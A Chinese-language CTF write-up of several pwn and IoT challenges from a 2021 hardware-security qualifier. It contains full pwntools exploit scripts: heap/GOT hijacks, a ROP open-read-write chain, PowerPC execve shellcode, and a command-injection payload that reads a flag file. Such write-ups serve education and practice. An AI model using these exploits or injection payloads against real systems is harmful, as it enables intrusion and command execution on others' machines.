DASCTF一月赛2021 Writeup

HWS计划2021硬件安全冬令营线上选拔赛,有很多IoT的题和kernel的题,很多题没来的及做,把做出来的几道题记录一下

趁着这次机会用上了传闻已久的IDA 7.5嘻嘻

Pwn

ememarm

arm64,libc版本Ubuntu GLIBC 2.27-3ubuntu1,edit函数会在free之前把最低字节置成0,这样可以把一个可控的chunk提前free进tcache。因为是堆题,花了一天的时间研究怎么在gdb-mutliarch连上之后用heap、bins这些命令,无果,问了学弟他说他做这种别的架构的堆题从来不用插件的命令,就自己看。后来然后就没研究了,自己看也没有特别麻烦。

进了tcache后改fd指向got,劫持free的got表项至system,got表的数据如下。因为是qemu,我这次比赛自己测试后的结论是:同样的qemu运行在不同机器上偏移是不同的,但是在同一台机器上两次运行的偏移是一样的,也就是堆栈什么的都没有随机化。如果有知道为什么的师傅请告诉我。XD

1
2
3
4
5
6
0x412000:       0x00000040008ae308              0x00000040008ba128
0x412010: 0x0000004000863600 0x00000000004006c0
0x412020: 0x00000000004006c0 0x00000000004006c0
0x412030: 0x00000040008a6f40 (puts) 0x00000040008ba790 (free) -> 0x40008822c8 (system)
0x412040: 0x00000040008a2668 (scanf) 0x00000040009059c8 (read)
0x412050: 0x0000004000890970 0x0000000000000000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.binary='./ememarm'

LOCAL=1

if LOCAL:
# p=process(['qemu-aarch64','-g','5555','-L','.','./ememarm'])
p=process(['qemu-aarch64','-L','.','./ememarm'])
else:
p=remote('183.129.189.60',10034)

def request(cx=b'\n',cy=b'\n',add=True,large=False):
if large:
p.sendlineafter('choice: \n','4')
else:
p.sendlineafter('choice: \n','1')
p.sendafter('cx:\n',cx)
p.sendafter('cy:\n',cy)
if add:
p.sendlineafter('delete?\n','1')
else:
p.sendlineafter('delete?\n','0')


def edit(idx,content=b'\n'):
p.sendlineafter('choice: \n','3')
p.sendline(str(idx))
p.send(content)

p.sendlineafter('\n','zploser')

request(large=True)
request(b'/bin/sh\x00')
request()
request()

got=0x412030 # puts@plt
edit(3,p64(got)+b'x'*0xf+b'\n')
edit(3,p64(got)+b'\n')
request(add=False)

if LOCAL:
request(p64(0x40008a6f40),p64(0x40008822c8),False) # puts, free
edit(1) # trigger free (now system)
else:
offset=0x8a6f40-0x893f40
request(p64(0x40008a6f40-offset),p64(0x40008822c8-offset),False)
edit(1)

p.interactive()

emarm

arm64,验证密码的时候用了strncmp,密码填1绕过的概率是 1/256,这里需要爆破。进入之后给了一个低地址的任意地址写,正好可以写got表,劫持atoi的got表到system。执行atoi的时候输入长度只有4字节,没法给/bin/sh,但是给sh就可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python

from pwn import *
context.log_level=logging.INFO
context.terminal=['tmux','new-window']
context.binary='./emarm'

def exp():
LOCAL=1

if LOCAL:
# p=process(['qemu-aarch64','-g','5555','-L','.','./emarm'])
p=process(['qemu-aarch64','-L','.','./emarm'])
else:
p=remote('183.129.189.60',10012)
try:
p.sendlineafter('passwd:\n','1')
p.send(str(0x412020).encode()+b'\x00') # 4268064 (7)
if LOCAL:
p.send(p64(0x40008822c8)) # system
else:
p.send(p64(0x40008822c8-(0x8a6f40-0x893f40)))
p.send(b'sh\x00\x00')
p.sendline('id')
p.recv(1)
print('[+] ok, here is shell')
p.interactive()
except KeyboardInterrupt:
exit(0)
except:
pass

for i in range(0x100):
exp()

print('[x] bad luck ...')

justcode

菜单给了两个选项,一个任何地址写,一个可以泄露栈cookie。

这里用read将用户输入读到栈上最后没加\x00,选择好偏移就可以leak出libc的地址,libc基址get。

这个函数还有一点是它read的长度,正好能够覆盖栈canary。因为栈canary最地位永远是\x00,所以可以把cananry也leak了。

这里ida非常牛逼的把v1表注了未初始化,这里在之前控制好栈上原有的内容之后可以任意地址写。

我的选择是首先写exit的got,让main函数可以不断重复(次数不够)。然后写__stack_chk_fail的got,之后leak stack canary。然后改fgets的got到gets,造成栈溢出。

之后就是x86架构溢出后的rop了。因为开了seccomp,所以就在libc段rop,执行open-read-write。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.binary='./justcode'
LOCAL=0


if LOCAL:
p=process('./justcode')
else:
p=remote('183.129.189.60',10041)

main=0x400A10

p.sendlineafter('your code:\n','\n'.join(['1','1','2','3']))

padding=b'x'*7+b'\n'
p.sendafter('name:\n',padding)
p.recvuntil(padding)
base=u64(p.recv(6).ljust(8,b'\x00'))-(0x7ffff784161e-0x7ffff77c6000)
system=base+(0x7ffff780b3a0-0x7ffff77c6000)
gets=base+(0x7ffff7834d90-0x7ffff77c6000)
p.success(hex(base))

padding=b'x'*(8+4)
payload=padding+p32(0x602078) # exit
p.sendlineafter('name:\n',payload)

p.sendlineafter('id:\n',str(main)) # main
p.sendlineafter('info:\n','')
p.recvuntil('no check')

# Again, overwrite __stack_chk_fail : prepare for leak of stack canary
p.sendlineafter('your code:\n','\n'.join(['1','2','1','1']))

padding=b'x'*(8+4)
payload=padding+p32(0x602038) # __stack_chk_fail
p.sendlineafter('name:\n',payload)
p.sendlineafter('id:\n',str(main)) # main
p.sendlineafter('info:\n','')

padding=b'x'*0x88
p.sendlineafter('name:\n',padding)
p.recvline()
cookie=b'\x00'+p.recv(7)
p.success(b'cookie: '+cookie)

# Again, overwrite fgets to gets: stack overflow
p.sendlineafter('your code:\n','\n'.join(['1','2','3','1']))

padding=b'x'*(8+4)
payload=padding+p32(0x602058) # fgets
p.sendlineafter('name:\n',payload)
p.sendlineafter('id:\n',str(gets)) # gets
p.sendlineafter('info:\n','')

# overflow
p.sendlineafter('your code:\n','\n'.join(['4','4','4']))

# attach(p,'b *0x400E30\nc')

payload=b'x'*0x18+cookie
payload+=p64(0)

syscall=base+0x00000000000bc3f5
pop_rdi=lambda rdi: flat([base+0x0000000000021112,rdi])
pop_rsi=lambda rsi: flat([base+0x00000000000202f8,rsi])
pop_rdx=lambda rdx: flat([base+0x0000000000001b92,rdx])
pop_rax=lambda rax: flat([base+0x000000000003a738,rax])
mov_rdi_rsp=base+0x000000000013aa40 # mov rdi, rsp ; call rdx ; add rsp, 0x38 ; ret
# add_rdi=base+0x0000000000124034 # add rdi, rdx ; mov qword ptr [r9], rdi ; ret
ret=0x400CC9


# open()
payload+=pop_rax(2)+pop_rdx(ret)
payload+=p64(mov_rdi_rsp)
payload+=b'flag\x00'.ljust(0x38)
payload+=p64(syscall)

buf=0x602088
# read(3,buf,count)
payload+=pop_rdi(3)+pop_rsi(buf)+pop_rdx(0x100)+pop_rax(0)+p64(syscall)
# write(0,buf,count)
payload+=pop_rdi(1)+pop_rsi(buf)+pop_rdx(0x100)+pop_rax(1)+p64(syscall)
p.sendline(payload)

p.interactive()

ppc

静态链接的ppc binary,第一次接触ppc,在这里学了基础的ppc汇编。

下了ppc的交叉编译链编译了个helloword对照着看。

我一开始看checksec的输出说Has RWX segments,但是gdb调的时候没有发现可写可执行的段,以为这个是checksec弄错了。

整个程序就一个栈溢出,我就想是ppc的rop?但是这种架构想要rop比x86要难很多,gadget的条件很苛刻,要同时使用mtlr指令修改r0寄存器后再调blr才能把链条延续下去。

然后我就抱着试一试的心理尝试了一下直接跳到globalbuffer上去执行一下,然后我吃惊地发现是可以执行的……

这样的话,这题就是写ppc shellcode的题了。学习了久仰大名的keystone的编译框架。shellcode挺简单的,直接调的是execve("/bin/sh",0,0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from keystone import *

# separate assembly instructions by ; or \n
CODE = b"""
b shell_code_start
.long 0x2f62696e # /bin
.long 0x2f736800 # /sh 00

shell_code_start:
lwz 31, 0(1)
mr 3, 31
li 4, 0
li 5, 0
li 0, 0xb
sc
"""

try:
# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_PPC, KS_MODE_PPC32 + KS_MODE_BIG_ENDIAN)
encoding, count = ks.asm(CODE)
print(type(encoding))
print("%s = %s (number of statements: %u)" %(CODE, [hex(i) for i in encoding], count))
print(bytes(encoding))
except KsError as e:
print("ERROR: %s" %e)

然后,我执行了,发现我的shellcode有0字节。在strcpy的时候被截断了。

照理来说这里我应该想怎么优化我的shellcode的,我又抱着试一下的心态跳到栈上去看看栈能不能执行。然后我惊讶的发现,栈是可以执行的……

打远程的时候需要通过报错得到远程qemu执行起来栈的地址。类似这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Invalid instruction                                                                                                                                                   NIP f6fffac0   LR f6fffabc CTR 1000de00 XER 00000000 CPU#0                                                                                                            MSR 00006040 HID0 00000000  HF 00006000 idx 0                                                                                                                         TB 00216151 928362571951018                                                                                                                                           GPR00 00000000f6fffabc 00000000f6fffbf0 00000000100bb4d0 0000000000000000                                                                                             GPR04 00000000100a01a7 0000000000000001 00000000100a01a7 0000000000000001
GPR08 00000000ffffffff 0000000000000000 0000000000000001 00000000f6fffbf0
GPR12 0000000000000000 00000000100a8de8 0000000000000000 0000000000000000
GPR16 0000000000000000 0000000000000000 0000000000000020 00000000100a0000
GPR20 00000000100a0ee0 00000000100a0ed8 00000000100a0000 0000000000500000
GPR24 0000000000000000 0000000010000138 00000000100a0ee0 0000000000000000
GPR28 0000000000000000 0000000010000f80 0000000010000e80 0000000078787878
CR 28000242 [ E L - - - E G E ] RES ffffffff
FPR00 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR04 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR08 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR12 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR16 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR20 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR24 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPR28 0000000000000000 0000000000000000 0000000000000000 0000000000000000
FPSCR 00000000

target=0xf6fffbf0-0x138

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.binary='./PPPPPPC'

LOCAL=0

if LOCAL:
# p=process(['./qemu-ppc-static','-g','5555','-L','.','./PPPPPPC'])
p=process(['./qemu-ppc-static','-L','.','./PPPPPPC'])
else:
p=remote('183.129.189.60',10039)

shellcode=b'H\x00\x00\x0c/bin/sh\x00\x83\xe1\x00\x00\x7f\xe3\xfbx8\x80\x00\x008\xa0\x00\x008\x00\x00\x0bD\x00\x00\x02'
if LOCAL:
target=0xf6fff088
else:
target=0xf6fffbf0-0x138
padding=shellcode.ljust(0x138,b'x')
padding+=p32(target+4)
payload=padding+p32(target)
p.sendlineafter('name: ',payload)
p.interactive()

IoT

easymsg

arm32的题,多线程起了一个server。主要的工作就是逆向,看它收到报文后的逻辑是怎么样的。

报文的格式挺简单的,有头、crc校验、长度、报文什么的。这里比较坑的一点是长度字段有两字节,长度要到0x100以上,不然有\x00会在strcpy的时候截断orz。

然后这题还是开了PIE的,我研究了半天PIE的话我怎么下断点?gdb刚连上的时候代码段都没加载。我问了学长,他说就一步步跟呗……

最后我通过使用search -x 命令搜索snrpintf plt表的头几个字节来定位的代码段,顺便还发现使用sigint可以中断gdb server。

逆向完报文格式进来之后又是很好玩的几个选项。

有readfile来读文件,不过有些许限制;有ifconfig来查看ifconfig的输出;有setSystemParam,实际上是个用户认证函数;有leaveName,leaveName存在一个命令注入。

比较坑的一点是flag不在当前目录。

checkfile之前有一个操作是memcpy,但是只复制了前0x100字节,这个好像是我偶然间发现的……因为我同一个文件名用/加长不同长度有一次成功了,有一次没成功,就多看了一眼,发现居然还有这个问题。那相当于是这个check是完全可以绕过了。

有师傅说从config.dat文件可以得到用户名和密码,那个文件我完全不知道是干啥用的,还是二进制的,就没管。

我是先用readfile读了当前目录的shadow文件,里面有用户名和密码,然后去认证、进行命令注入,通过命令注入一点点探测服务器是什么情况。

放一点当时命令注入得到的一些服务器上的信息。

根目录 ls -la /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
total 84
drwxr-xr-x 1 root root 4096 Feb 1 01:20 .
drwxr-xr-x 1 root root 4096 Feb 1 01:20 ..
-rwxr-xr-x 1 root root 0 Feb 1 01:20 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 21 10:04 bin
drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
drwxr-xr-x 14 root root 3660 Feb 1 01:20 dev
drwxr-xr-x 1 root root 4096 Feb 1 01:20 etc
-rwxr----- 1 root root 43 Jan 29 12:53 flagG1zjin
drwxr-xr-x 1 root root 4096 Jan 29 12:10 home
drwxr-xr-x 1 root root 4096 Jan 21 10:04 lib
drwxr-xr-x 2 root root 4096 Jan 21 10:04 lib32
drwxr-xr-x 1 root root 4096 Jan 21 10:03 lib64
drwxr-xr-x 2 root root 4096 Oct 30 15:50 media
drwxr-xr-x 2 root root 4096 Oct 30 15:50 mnt
drwxr-xr-x 2 root root 4096 Oct 30 15:50 opt
dr-xr-xr-x 123 root root 0 Feb 1 01:20 proc
drwx------ 2 root root 4096 Oct 30 15:53 root
drwxr-xr-x 1 root root 4096 Oct 30 15:53 run
drwxr-xr-x 1 root root 4096 Jan 21 10:04 sbin
-rwxr-xr-x 1 root root 212 Jan 29 12:10 service.sh
drwxr-xr-x 2 root root 4096 Oct 30 15:50 srv
dr-xr-xr-x 13 root root 0 Feb 1 01:20 sys
drwxrwxrwt 1 root root 4096 Feb 1 01:21 tmp
drwxr-xr-x 1 root root 4096 Jan 21 10:04 usr
drwxr-xr-x 1 root root 4096 Oct 30 15:53 var

/etc/passwd 文件 cat /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
syslog:x:105:107::/home/syslog:/bin/false
uml-net:x:106:108::/nonexistent:/bin/false
messageBox:x:1000:1000::/home/messageBox:

当前目录下的shadow文件 cat /home/messageBox/shadow

1
admin:alexandr1s

可以看到flag其实是根目录下的/flagG1zjin,权限是只有root可读,直到比赛快结束了我才意识到这一点,就是我就是root……

直接readfile读/flagG1zjin就可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python

from pwn import *
from const import constlst
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.endian='big'
LOCAL=0

if LOCAL:
p=remote('localhost',6780)
else:
p=remote('183.129.189.60',10016)

def read(filename):
content=b'readFile:'.ljust(0x201,b'/')
# content+=b'/home/messageBox/lib'
content+=filename
content+=b'\x00'
return content

def ifconfig():
content=b'ifconfig:./'.ljust(0x101,b'/')
content+=b'\x00'
return content

def auth():
content=b'setSystemParam:username:admin\npasswd:alexandr1s\n'.ljust(0x101,b'/')
content+=b'\x00'
return content

def cmd():
content=b'leaveName:8EB696DDDD69:'.ljust(0x101,b':')
# content+=b'12";ls -la / > /tmp/ainevsia;# " echo "'
# content+=b'12";ls -la /home/messageBox > /tmp/ainevsia;# " echo "'
content+=b'12";id > /tmp/ainevsia;# " echo "'
content+=b'\x00'
return content

# content=auth()
# content=ifconfig()
# content=cmd()
# content=read(b'/tmp/ainevsia')
content=read(b'/flagG1zjin')

def crc():
global content
crcsum = 0xFFFFFFFF
for i in range(len(content)):
crcsum = (crcsum >> 8) ^ constlst[(crcsum ^ content[i]) & 0xff]
return (~crcsum) & 0xFFFFFFFF

payload=b'HwsDDW' # header : 6 bytes
payload+=p16(len(content)) # msglen : 2 bytes
payload+=p16(0x102) # choice : 2 bytes
payload+=p32(crc()) # crcsum : 4 bytes
payload+=content

p.success(payload)
p.send(payload)

content=p.recvall()
import base64
content=base64.b64decode(content)
p.success(content)
with open('./recv_content','wb') as f:
f.write(content)
# p.interactive()
'''
9:26 ainevsia@iZuf66pdfsjc1ria8l5enjZ /home/ainevsia/ctf/dasctf/easymsg
% ./exp.py
[+] Opening connection to 183.129.189.60 on port 10016: Done
[+] b'HwsDDW\x02\r\x01\x02\xc7\x0b\x9d\xdcreadFile://///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////flagG1zjin\x00'
[DEBUG] Sent 0x21b bytes:
00000000 48 77 73 44 44 57 02 0d 01 02 c7 0b 9d dc 72 65 │HwsD│DW··│····│··re│
00000010 61 64 46 69 6c 65 3a 2f 2f 2f 2f 2f 2f 2f 2f 2f │adFi│le:/│////│////│
00000020 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f │////│////│////│////│
*
00000210 66 6c 61 67 47 31 7a 6a 69 6e 00 │flag│G1zj│in·│
0000021b
[+] Receiving all data: Done (60B)
[DEBUG] Received 0x3c bytes:
b'ZmxhZ3s3MmJhMTk0ZS1kYTFlLTRlOWMtYmE2OC03MTljYWUyZTNlZTB9Cg=='
[*] Closed connection to 183.129.189.60 port 10016
[+] b'flag{72ba194e-da1e-4e9c-ba68-719cae2e3ee0}\n'

'''